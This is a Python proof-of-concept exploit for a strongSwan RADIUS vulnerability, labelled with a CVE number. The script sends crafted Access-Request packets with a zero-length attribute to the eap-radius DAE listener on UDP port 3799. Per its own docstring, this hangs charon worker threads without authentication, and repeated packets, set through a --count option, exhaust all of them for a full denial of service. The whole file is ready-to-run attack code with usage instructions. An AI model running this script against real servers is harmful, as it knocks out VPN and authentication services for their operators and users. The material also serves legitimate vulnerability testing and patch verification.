#!/usr/bin/env python3
"""
CVE-2026-35333 -- strongSwan RADIUS attribute-iterator DoS.

Live network exploit: send one crafted RADIUS Access-Request to the
strongSwan eap-radius DAE listener (UDP/3799) and hang a charon worker
thread forever. Access-Request is used (not Disconnect-Request) because
verify() skips the Response-Authenticator MD5 check for code 1 and walks
the broken attribute iterator directly -- so no DAE shared secret is
needed.

The malformed packet contains a single attribute with `length=0`
placed before any `Message-Authenticator`. strongSwan's
`radius_message_t::verify()` walks the attribute list via the broken
`attribute_enumerate()` iterator looking for `Message-Authenticator`
-- so the zero-length attribute traps the parser *before* the shared
secret is checked. The attack is unauthenticated.

Usage:

    python3 poc.py --target 127.0.0.1 --port 3799

Expected effect on a vulnerable charon (5.9.13 or earlier):
- one worker thread pinned at 100% CPU
- DAE listener never responds; repeat the attack N times to exhaust
  all N worker threads -> total DoS.

Effect on a patched charon (master >= e067d24293):
- packet is rejected at radius_message_parse() / validate_attributes()
  with "RADIUS attribute has invalid length"; CPU stays flat.
"""

from __future__ import annotations
import argparse
import os
import socket
import struct
import sys
import time


# RADIUS codes (RFC 2865 / RFC 3576)
ACCESS_REQUEST = 1
DISCONNECT_REQUEST = 40
COA_REQUEST = 43

# RADIUS attribute types
RAT_USER_NAME = 1
RAT_MESSAGE_AUTHENTICATOR = 80


def build_zero_length_attr_packet() -> bytes:
    """
    Build a minimal RADIUS packet whose first attribute has length == 0.

    RADIUS code = 1 (Access-Request).  The DAE receive() callback in
    `eap_radius_dae.c` accepts any code that `radius_message_parse()`
    parses, then calls `request->verify(..., NULL, secret, hasher,
    signer)` BEFORE dispatching on code.  For ACCESS_REQUEST,
    `verify()` skips the Response-Authenticator MD5 check and runs the
    attribute enumerator directly -- so a zero-length attribute
    placed first hangs the walker forever, with no knowledge of the
    DAE shared secret required.

    Layout (22 bytes total):
      [RADIUS header   -- 20 bytes]
        code            = 1  (Access-Request -- bypasses secret check
                              in verify())
        identifier      = random
        length          = 22 (BE u16)
        authenticator   = 16 random bytes
      [Attribute       --  2 bytes]
        type            = 1  (User-Name)
        length          = 0  <-- iterator loop trigger in verify()
    """
    identifier = os.urandom(1)[0]
    authenticator = os.urandom(16)

    attr_type = RAT_USER_NAME
    attr_length = 0  # <-- the bug trigger

    total_len = 20 + 2  # header + 2-byte attribute
    header = struct.pack(
        "!BBH16s", ACCESS_REQUEST, identifier, total_len, authenticator
    )
    attribute = struct.pack("!BB", attr_type, attr_length)

    return header + attribute


def build_disconnect_with_valid_attr() -> bytes:
    """
    A well-formed Disconnect-Request with a single User-Name=test
    attribute. Used as a control sample -- charon should reject it
    (bad signature) without hanging.
    """
    identifier = os.urandom(1)[0]
    authenticator = os.urandom(16)

    user_name = b"test"
    attribute = struct.pack(
        "!BB", RAT_USER_NAME, 2 + len(user_name)
    ) + user_name

    total_len = 20 + len(attribute)
    header = struct.pack(
        "!BBH16s", DISCONNECT_REQUEST, identifier, total_len, authenticator
    )
    return header + attribute


def send_packet(packet: bytes, target: str, port: int, wait: float) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(wait)
    sock.sendto(packet, (target, port))
    print(
        f"[+] sent {len(packet)} bytes to {target}:{port}/udp"
        f" (last 2 bytes: {packet[-2]:02x} {packet[-1]:02x})"
    )
    try:
        data, addr = sock.recvfrom(4096)
        print(
            f"[-] unexpected response {len(data)} bytes from {addr}:"
            f" {data[:32].hex()}"
        )
    except socket.timeout:
        print(f"[+] no response within {wait:.1f}s -- expected for hung worker")


def main() -> int:
    parser = argparse.ArgumentParser(
        description="CVE-2026-35333 live network DoS"
    )
    parser.add_argument(
        "--target", default="127.0.0.1",
        help="DAE listener address (default: 127.0.0.1)"
    )
    parser.add_argument(
        "--port", type=int, default=3799,
        help="DAE listener UDP port (default: 3799)"
    )
    parser.add_argument(
        "--count", type=int, default=1,
        help="Number of crafted packets to send (default: 1)"
    )
    parser.add_argument(
        "--wait", type=float, default=2.0,
        help="Wait seconds for a response per packet (default: 2.0)"
    )
    parser.add_argument(
        "--control", action="store_true",
        help="Send a well-formed Disconnect-Request first as control"
    )
    args = parser.parse_args()

    if args.control:
        print("[*] control sample: well-formed Disconnect-Request "
              "(bad signature, should NOT hang)")
        send_packet(build_disconnect_with_valid_attr(),
                    args.target, args.port, args.wait)
        time.sleep(0.5)

    payload = build_zero_length_attr_packet()
    for i in range(args.count):
        print(f"\n[*] crafted packet #{i + 1}: Access-Request with "
              "zero-length User-Name attribute")
        send_packet(payload, args.target, args.port, args.wait)
        time.sleep(0.2)

    print("\n[+] done; expected effect: one charon worker thread per packet "
          "stuck at 100% CPU.")
    print("    Verify on the target with:  top -H -p $(pidof charon)")
    return 0


if __name__ == "__main__":
    sys.exit(main())